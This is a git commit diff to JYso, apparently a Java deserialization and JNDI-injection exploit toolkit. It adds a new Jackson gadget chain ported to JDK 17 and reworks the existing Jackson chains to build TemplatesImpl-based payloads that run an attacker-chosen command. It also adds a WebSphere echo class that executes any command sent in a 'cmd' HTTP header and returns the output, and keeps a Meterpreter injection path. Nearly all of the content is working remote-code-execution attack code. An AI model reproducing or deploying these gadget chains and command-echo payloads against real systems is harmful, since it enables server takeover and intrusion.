feat: jackson4链是jackson1链改jdk17

src/main/java/com/qi4l/JYso/controllers/BasicController.java

@@ -120,8 +120,8 @@ public class BasicController implements LdapController {
                 String[] results1     = Util.getIPAndPortFromBase(base);
                 Config.rhost = results1[0];
                 Config.rport = results1[1];
-                System.out.println("[+] RemotHost: " + results1[0]);
+                System.out.println("  RemotHost: " + results1[0]);
-                System.out.println("[+] RemotPort: " + results1[1]);
+                System.out.println("  RemotPort: " + results1[1]);
                 params = results1;
             }
         } catch (Exception e) {

src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java

@@ -55,7 +55,7 @@ public class ELProcessorController implements LdapController {
                 jscode = helper.getExecCode(params[0]);
             }
 
-            if (payloadType.contains("meterpreter")) {
+            if (payloadType.contains("msf")) {
                 jscode = helper.injectMeterpreter();
             }
 

src/main/java/com/qi4l/JYso/gadgets/C3P0JDBC.java

@@ -10,7 +10,7 @@ import java.lang.reflect.Field;
 import java.util.HashMap;
 
 @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
-@Authors({Authors.Unam4})
+@Authors({Authors.UNAM4})
 public class C3P0JDBC implements ObjectPayload<Object> {
     //private static  String cmd = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
     //        "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +

src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI.java

@@ -10,7 +10,7 @@ import java.lang.reflect.Field;
 import java.util.HashMap;
 
 @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
-@Authors({Authors.Unam4})
+@Authors({Authors.UNAM4})
 public class C3P0JNDI implements  ObjectPayload<Object> {
     @Override
     public Object getObject(String command) throws Exception {

src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI2.java

@@ -10,7 +10,7 @@ import java.lang.reflect.Field;
 import java.util.HashMap;
 
 @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
-@Authors({Authors.Unam4})
+@Authors({Authors.UNAM4})
 public class C3P0JNDI2 implements  ObjectPayload<Object> {
     @Override
     public Object getObject(String command) throws Exception {

src/main/java/com/qi4l/JYso/gadgets/Fastjson2.java

@@ -25,7 +25,6 @@ public class Fastjson2 implements ObjectPayload<Object> {
         final Object templates;
         templates = Gadgets.createTemplatesImpl(command);
 
-
         JSONArray jsonArray = new JSONArray();
         jsonArray.add(templates);
 

src/main/java/com/qi4l/JYso/gadgets/Groovy2.java

@@ -9,7 +9,7 @@ import org.codehaus.groovy.runtime.MethodClosure;
 import javax.management.BadAttributeValueExpException;
 
 @Dependencies({"org.codehaus.groovy:groovy <2.4.3"})
-@Authors({Authors.Unam4})
+@Authors({Authors.UNAM4})
 public class Groovy2 implements ObjectPayload<Object> {
     @Override
     public Object getObject(String command) throws Exception {

src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java

@@ -16,7 +16,7 @@ import javax.management.BadAttributeValueExpException;
 import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
 
 @Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina","com.alibaba.fastjson:com.alibaba.fastjson 1.X"})
-@Authors({Authors.Unam4})
+@Authors({Authors.UNAM4})
 public class Hibernate3JDBC implements ObjectPayload<Object>, DynamicDependencies {
     @Override
     public Object getObject(String command) throws Exception {

src/main/java/com/qi4l/JYso/gadgets/JDKUtil.java

@@ -147,8 +147,7 @@ public class JDKUtil {
     }
 
 
-    public static Enumeration<?> makeBindingEnumeration ( String codebase, String clazz ) throws ClassNotFoundException, NoSuchMethodException,
+    public static Enumeration<?> makeBindingEnumeration ( String codebase, String clazz ) throws Exception {
-            InstantiationException, IllegalAccessException, InvocationTargetException, Exception, NamingException, RemoteException {
         Class<?> cl = Class.forName("com.sun.jndi.rmi.registry.BindingEnumeration");
         Object enu = Reflections.createWithoutConstructor(cl);
         Reflections.setFieldValue(enu, "ctx", makeRegistryContext(makeRegistryImpl(codebase, clazz)));
@@ -160,7 +159,7 @@ public class JDKUtil {
     }
 
 
-    private static Object makeRegistryImpl ( String codebase, String clazz ) throws IllegalArgumentException, Exception {
+    private static Object makeRegistryImpl ( String codebase, String clazz ) throws Exception {
         Class<?> regcl = Class.forName("sun.management.jmxremote.SingleEntryRegistry");
         Object reg = Reflections.createWithoutConstructor(regcl);
         Reflections.setFieldValue(reg, "name", "exp");
@@ -183,8 +182,7 @@ public class JDKUtil {
     }
 
 
-    private static Object makeRegistryContext ( Object regi ) throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
+    private static Object makeRegistryContext ( Object regi ) throws Exception {
-            IllegalAccessException, InvocationTargetException, Exception {
         Class<?> regctxcl = Class.forName("com.sun.jndi.rmi.registry.RegistryContext");
         Object regctx = Reflections.createWithoutConstructor(regctxcl);
         Reflections.setFieldValue(regctx, "registry", regi);

src/main/java/com/qi4l/JYso/gadgets/Jackson1.java

@@ -10,13 +10,15 @@ import javassist.CtMethod;
 import javax.management.BadAttributeValueExpException;
 import java.util.HashMap;
 
+import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
+
 // 在触发 getter 的时候是以随机顺序触发的,所以概率打空
 public class Jackson1 implements ObjectPayload<Object> {
 
     @Override
     public Object getObject(String command) throws Exception {
-        final Object template;
+        final Object tempImpl;
-        template = Gadgets.createTemplatesImpl(command);
+        tempImpl = Gadgets.createTemplatesImpl(command);
 
         try {
             CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
@@ -27,13 +29,17 @@ public class Jackson1 implements ObjectPayload<Object> {
 
         }
 
-        POJONode node = new POJONode(template);
+        POJONode node = new POJONode(tempImpl);
 
-        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
+        BadAttributeValueExpException val  = new BadAttributeValueExpException(null);
-        Reflections.setFieldValue(badAttributeValueExpException, "val", node);
+        setFieldValue(val, "val", node);
+        //清除堆栈信息
+        setFieldValue(val, "stackTrace", new StackTraceElement[0]);
+        setFieldValue(val, "cause", null);
+        setFieldValue(val, "suppressedExceptions", null);
 
         HashMap hashMap = new HashMap();
-        hashMap.put(template, badAttributeValueExpException);
+        hashMap.put(tempImpl, val);
 
         return hashMap;
     }

src/main/java/com/qi4l/JYso/gadgets/Jackson2.java

@@ -7,6 +7,7 @@ import javassist.ClassPool;
 import javassist.CtClass;
 import javassist.CtMethod;
 import org.springframework.aop.framework.AdvisedSupport;
+
 import java.lang.reflect.Constructor;
 import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Proxy;
@@ -14,6 +15,8 @@ import javax.xml.transform.Templates;
 
 import javax.management.BadAttributeValueExpException;
 
+import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
+
 public class Jackson2 implements ObjectPayload<Object> {
     public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
         AdvisedSupport advisedSupport = new AdvisedSupport();
@@ -21,22 +24,27 @@ public class Jackson2 implements ObjectPayload<Object> {
         Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
         constructor.setAccessible(true);
         InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
-        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
+        Object            proxy   = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
         return proxy;
     }
 
     public Object getObject(final String command) throws Exception {
+
         try {
-            CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
+            CtClass  ctClass      = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
             CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
             ctClass.removeMethod(writeReplace);
             ctClass.toClass();
         } catch (Exception EE) {
 
         }
-        POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
+        POJONode                      node = new POJONode(makeTemplatesImplAopProxy(command));
-        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
+        BadAttributeValueExpException val  = new BadAttributeValueExpException(null);
-        Reflections.setFieldValue(val, "val", node);
+        setFieldValue(val, "val", node);
+        //清除堆栈信息
+        setFieldValue(val, "stackTrace", new StackTraceElement[0]);
+        setFieldValue(val, "cause", null);
+        setFieldValue(val, "suppressedExceptions", null);
         return val;
     }
 }

src/main/java/com/qi4l/JYso/gadgets/Jackson3.java

@@ -1,11 +1,11 @@
 package com.qi4l.JYso.gadgets;
 
 import com.fasterxml.jackson.databind.node.POJONode;
+import com.qi4l.JYso.gadgets.annotation.Authors;
+import com.qi4l.JYso.gadgets.annotation.Dependencies;
 import com.qi4l.JYso.gadgets.utils.SuClassLoader;
 import com.qi4l.JYso.gadgets.utils.Gadgets;
 
-import com.qi4l.JYso.gadgets.utils.jdk17Bypass;
-import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import javassist.ClassClassPath;
 
 import org.springframework.aop.framework.AdvisedSupport;
@@ -15,7 +15,6 @@ import javassist.CtClass;
 import javassist.CtMethod;
 import org.springframework.aop.framework.AdvisorChainFactory;
 
-import javax.swing.event.EventListenerList;
 import javax.xml.transform.Templates;
 
 import java.lang.reflect.Constructor;
@@ -23,26 +22,31 @@ import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Proxy;
 import java.lang.reflect.*;
 
-import java.util.ArrayList;
 import java.util.Vector;
 
 import static com.qi4l.JYso.gadgets.Config.Config.POOL;
 import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
 
 
+//Jackson2链的JDK17改造
+@Dependencies({"spring-apo:6.2.10"})
+@Authors({Authors.JSJCW})
 public class Jackson3 implements ObjectPayload<Object> {
     public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
         AdvisedSupport advisedSupport = new AdvisedSupport();
         advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd));
 
-        POOL.insertClassPath(new ClassClassPath(Class.forName("org.springframework.aop.framework.DefaultAdvisorChainFactory")));
+        //<=6.0.23为6115154060221772279
-        final CtClass ctDefaultAdvisorChainFactory = POOL.get("org.springframework.aop.framework.DefaultAdvisorChainFactory");
+        //>=6.1.0 为273003553246259276
-        insertField(ctDefaultAdvisorChainFactory, "serialVersionUID", "private static final long serialVersionUID = 273003553246259276L;");
+        String sUID = "6115154060221772279";
-        Object cFactory = ctDefaultAdvisorChainFactory.toClass(new SuClassLoader()).newInstance();
+        CtClass ctDefaultAdvisorChainFactory = insertField(
+                "org.springframework.aop.framework.DefaultAdvisorChainFactory",
+                "private static final long serialVersionUID = " + sUID + "L;");
 
-        advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) cFactory);
+        Object ctFactory = ctDefaultAdvisorChainFactory.toClass(new SuClassLoader()).newInstance();
+        advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) ctFactory);
 
-        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
+        Constructor<?> constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
         constructor.setAccessible(true);
         InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
         Object            proxy   = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
@@ -51,16 +55,16 @@ public class Jackson3 implements ObjectPayload<Object> {
     }
 
     public static Object getEventListenerList(Object obj) throws Exception {
-        //EventListenerList list = new EventListenerList();
+        //>=6.1.0 为-7977902244297240866
-        POOL.insertClassPath(new ClassClassPath(Class.forName("javax.swing.event.EventListenerList")));
+        //<=6.0.23为
-        final CtClass ctEventListenerList = POOL.get("javax.swing.event.EventListenerList");
+        CtClass ctEventListenerList = insertField(
-        insertField(ctEventListenerList, "serialVersionUID", "private static final long serialVersionUID = -7977902244297240866L;");
+                "javax.swing.event.EventListenerList", "private static final long serialVersionUID = -7977902244297240866L;");
         Object list = ctEventListenerList.toClass(new SuClassLoader()).newInstance();
 
-        //UndoManager undomanager = new UndoManager();
+        //>=6.1.0 为-1045223116463488483
-        POOL.insertClassPath(new ClassClassPath(Class.forName("javax.swing.undo.UndoManager")));
+        //<=6.0.23为
-        final CtClass ctUndoManager = POOL.get("javax.swing.undo.UndoManager");
+        CtClass ctUndoManager = insertField(
-        insertField(ctUndoManager, "serialVersionUID", "private static final long serialVersionUID = -1045223116463488483L;");
+                "javax.swing.undo.UndoManager", "private static final long serialVersionUID = -1045223116463488483L;");
         Object undomanager = ctUndoManager.toClass(new SuClassLoader()).newInstance();
 
         //取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象，并把需要触发toString的类add进去。
@@ -98,25 +102,23 @@ public class Jackson3 implements ObjectPayload<Object> {
             CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
             ctClass.removeMethod(writeReplace);
             ctClass.toClass();
-        } catch (Exception EE) {
+        } catch (Exception ignored) {
 
         }
 
-        ArrayList<Class> classes = new ArrayList<>();
+        //ArrayList<Class> classes = new ArrayList<>();
-        classes.add(TemplatesImpl.class);
+        //classes.add(TemplatesImpl.class);
-        classes.add(POJONode.class);
+        //classes.add(POJONode.class);
-        classes.add(EventListenerList.class);
+        //classes.add(EventListenerList.class);
-        classes.add(Jackson3.class);
+        //classes.add(Jackson3.class);
-        classes.add(Field.class);
+        //classes.add(Field.class);
-        classes.add(Method.class);
+        //classes.add(Method.class);
-        new jdk17Bypass().bypassModule(classes);
+        //new jdk17Bypass().bypassModule(classes);
 
 
         POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
 
-        Object eventListenerList = getEventListenerList(node);
+        return getEventListenerList(node);
-
-        return eventListenerList;
     }
 
 

src/main/java/com/qi4l/JYso/gadgets/Jackson4.java

@@ -0,0 +1,40 @@
+package com.qi4l.JYso.gadgets;
+
+import com.fasterxml.jackson.databind.node.POJONode;
+import com.sun.org.apache.xpath.internal.objects.XObject;
+import com.sun.org.apache.xpath.internal.objects.XString;
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtMethod;
+
+import java.util.HashMap;
+
+import static com.qi4l.JYso.gadgets.JDKUtil.makeMap;
+import static com.qi4l.JYso.gadgets.Jackson3.makeTemplatesImplAopProxy;
+
+
+//Jackson1链的JDK17改造
+public class Jackson4 implements ObjectPayload<Object> {
+    @Override
+    public Object getObject(String command) throws Exception {
+        try {
+            CtClass  ctClass      = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
+            CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
+            ctClass.removeMethod(writeReplace);
+            ctClass.toClass();
+        } catch (Exception ignored) {
+
+        }
+
+        POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
+        XObject                 xString = new XString("foo");
+        HashMap<Object, Object> map1    = new HashMap();
+        HashMap<Object, Object> map2    = new HashMap();
+        map1.put("yy", node);
+        map1.put("zZ", xString);
+        map2.put("yy", xString);
+        map2.put("zZ", node);
+        HashMap hashmap = makeMap(map1, map2);
+        return hashmap;
+    }
+}

src/main/java/com/qi4l/JYso/gadgets/annotation/Authors.java

@@ -52,8 +52,10 @@ public @interface Authors {
 
     String KILLER = "killer";
 
-    String Unam4   = "Unam4";
+    String UNAM4   = "Unam4";
-    String Jiecub3 = "jiecub3";
+    String JIECUB3 = "jiecub3";
+
+    String JSJCW = "jsjcw";
 
     String[] value() default {};
 

src/main/java/com/qi4l/JYso/gadgets/cc13.java

@@ -15,7 +15,7 @@ import java.util.HashMap;
 import java.util.Map;
 
 @Dependencies({"commons-collections:commons-collections:3.1"})
-@Authors({Authors.Unam4})
+@Authors({Authors.UNAM4})
 public class cc13 implements ObjectPayload<Object> {
     @Override
     public Object getObject(String command) throws Exception {

src/main/java/com/qi4l/JYso/gadgets/cc4_17.java

@@ -14,7 +14,7 @@ import static com.qi4l.JYso.gadgets.utils.jdk17Bypass.patchModule;
 
 
 @SuppressWarnings({"rawtypes", "unchecked"})
-@Authors({Authors.Jiecub3})
+@Authors({Authors.JIECUB3})
 public class cc4_17 implements ObjectPayload<Object> {
     @Override
     public Object getObject(String command) throws Exception {

src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java

@@ -8,10 +8,10 @@ import org.apache.commons.cli.CommandLineParser;
 import org.apache.commons.cli.DefaultParser;
 import org.apache.commons.cli.Options;
 
-import java.lang.reflect.Field;
 import java.util.Arrays;
 import java.util.List;
 
+import static com.qi4l.JYso.gadgets.Config.Config.POOL;
 import static com.qi4l.JYso.gadgets.Config.MemShellPayloads.*;
 import static com.qi4l.JYso.gadgets.utils.HexUtils.generatePassword;
 
@@ -241,48 +241,13 @@ public class InjShell {
         ctClass.addField(CtField.make(fieldCode, ctClass));
     }
 
-    public static void TinsertWinAgent(CtClass ctClass) throws Exception {
+    public static CtClass insertField(String fieldName, String fieldCode) throws Exception {
-        List<CtClass> classes = new java.util.ArrayList<>(Arrays.asList(ctClass.getInterfaces()));
+        POOL.insertClassPath(new ClassClassPath(Class.forName(fieldName)));
-        classes.add(ctClass.getSuperclass());
+        final CtClass ctClass = POOL.get(fieldName);
-
+        insertField(ctClass, fieldName, fieldCode);
-        String className = null;
+        return ctClass;
-        for (CtClass value : classes) {
-            className = value.getName();
-            if (Config.KEY_METHOD_MAP.containsKey(className)) {
-                break;
-            }
-        }
-
-        byte[]   bytes        = ctClass.toBytecode();
-        Class<?> ctClazz      = Class.forName("com.qi4l.JYso.template.Agent.WinMenshell");
-        Field    WinClassName = ctClazz.getDeclaredField("className");
-        WinClassName.setAccessible(true);
-        WinClassName.set(ctClazz, className);
-        Field WinclassBody = ctClazz.getDeclaredField("classBody");
-        WinclassBody.setAccessible(true);
-        WinclassBody.set(ctClazz, bytes);
     }
 
-    public static void TinsertLinAgent(CtClass ctClass) throws Exception {
-        List<CtClass> classes = new java.util.ArrayList<>(Arrays.asList(ctClass.getInterfaces()));
-        classes.add(ctClass.getSuperclass());
-
-        String className = null;
-        for (CtClass value : classes) {
-            className = value.getName();
-            if (Config.KEY_METHOD_MAP.containsKey(className)) {
-                break;
-            }
-        }
-        byte[]   bytes        = ctClass.toBytecode();
-        Class<?> ctClazz      = Class.forName("com.qi4l.JYso.template.Agent.LinMenshell");
-        Field    LinClassName = ctClazz.getDeclaredField("className");
-        LinClassName.setAccessible(true);
-        LinClassName.set(ctClazz, className);
-        Field LinclassBody = ctClazz.getDeclaredField("classBody");
-        LinclassBody.setAccessible(true);
-        LinclassBody.set(ctClazz, bytes);
-    }
 
 
     //类加载方式，因类而异

src/main/java/com/qi4l/JYso/gadgets/utils/Reflections.java

@@ -1,10 +1,15 @@
 package com.qi4l.JYso.gadgets.utils;
 
 import com.nqzero.permit.Permit;
+import javassist.ClassClassPath;
+import javassist.CtClass;
 import sun.reflect.ReflectionFactory;
 
 import java.lang.reflect.*;
 
+import static com.qi4l.JYso.gadgets.Config.Config.POOL;
+import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
+
 @SuppressWarnings("restriction")
 public class Reflections extends ClassLoader {
 

src/main/java/com/qi4l/JYso/template/echoConstructor/CTomcatEcho.java

@@ -1,5 +1,10 @@
 package com.qi4l.JYso.template.echoConstructor;
 
+import sun.misc.Unsafe;
+
+import java.lang.reflect.Field;
+
+// 回显类在jdk17下的改造，解决JDK17下只能加载一次的问题
 public class CTomcatEcho {
     public static String CMD_HEADER;
 

src/main/java/com/qi4l/JYso/template/echoConstructor/CwebsphereEcho.java

@@ -0,0 +1,44 @@
+package com.qi4l.JYso.template.echoConstructor;
+
+import java.io.OutputStream;
+
+import static com.qi4l.JYso.gadgets.Jackson3.getFieldValue;
+
+public class CwebsphereEcho {
+
+    public CwebsphereEcho() {
+        try {
+            Class                   clazz = Thread.currentThread().getClass();
+            java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals");
+            field.setAccessible(true);
+            Object obj = field.get(Thread.currentThread());
+
+            Object[] obj_arr = (Object[]) obj;
+            for (int i = 0; i < obj_arr.length; i++) {
+                Object o = obj_arr[i];
+                if (o == null) continue;
+
+                if (o.getClass().getName().endsWith("WebContainerRequestState")) {
+                    Object req  = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]);
+                    Object resp = o.getClass().getMethod("getCurrentThreadsIExtendedResponse", new Class[0]).invoke(o, new Object[0]);
+
+                    String cmd = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"});
+                    if (cmd != null && !cmd.isEmpty()) {
+                        String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
+
+                        //java.io.PrintWriter printWriter = (java.io.PrintWriter) resp.getClass().getMethod("getWriter", new Class[0]).invoke(resp, new Object[0]);
+                        //printWriter.println(res);
+
+                        // 解决只读一次的问题
+                        OutputStream outputStream = (OutputStream) getFieldValue(resp, "_bufferedOut");
+                        outputStream.flush();
+                        outputStream.write(res.getBytes());
+                    }
+
+                    break;
+                }
+            }
+        } catch (Exception ignored) {
+        }
+    }
+}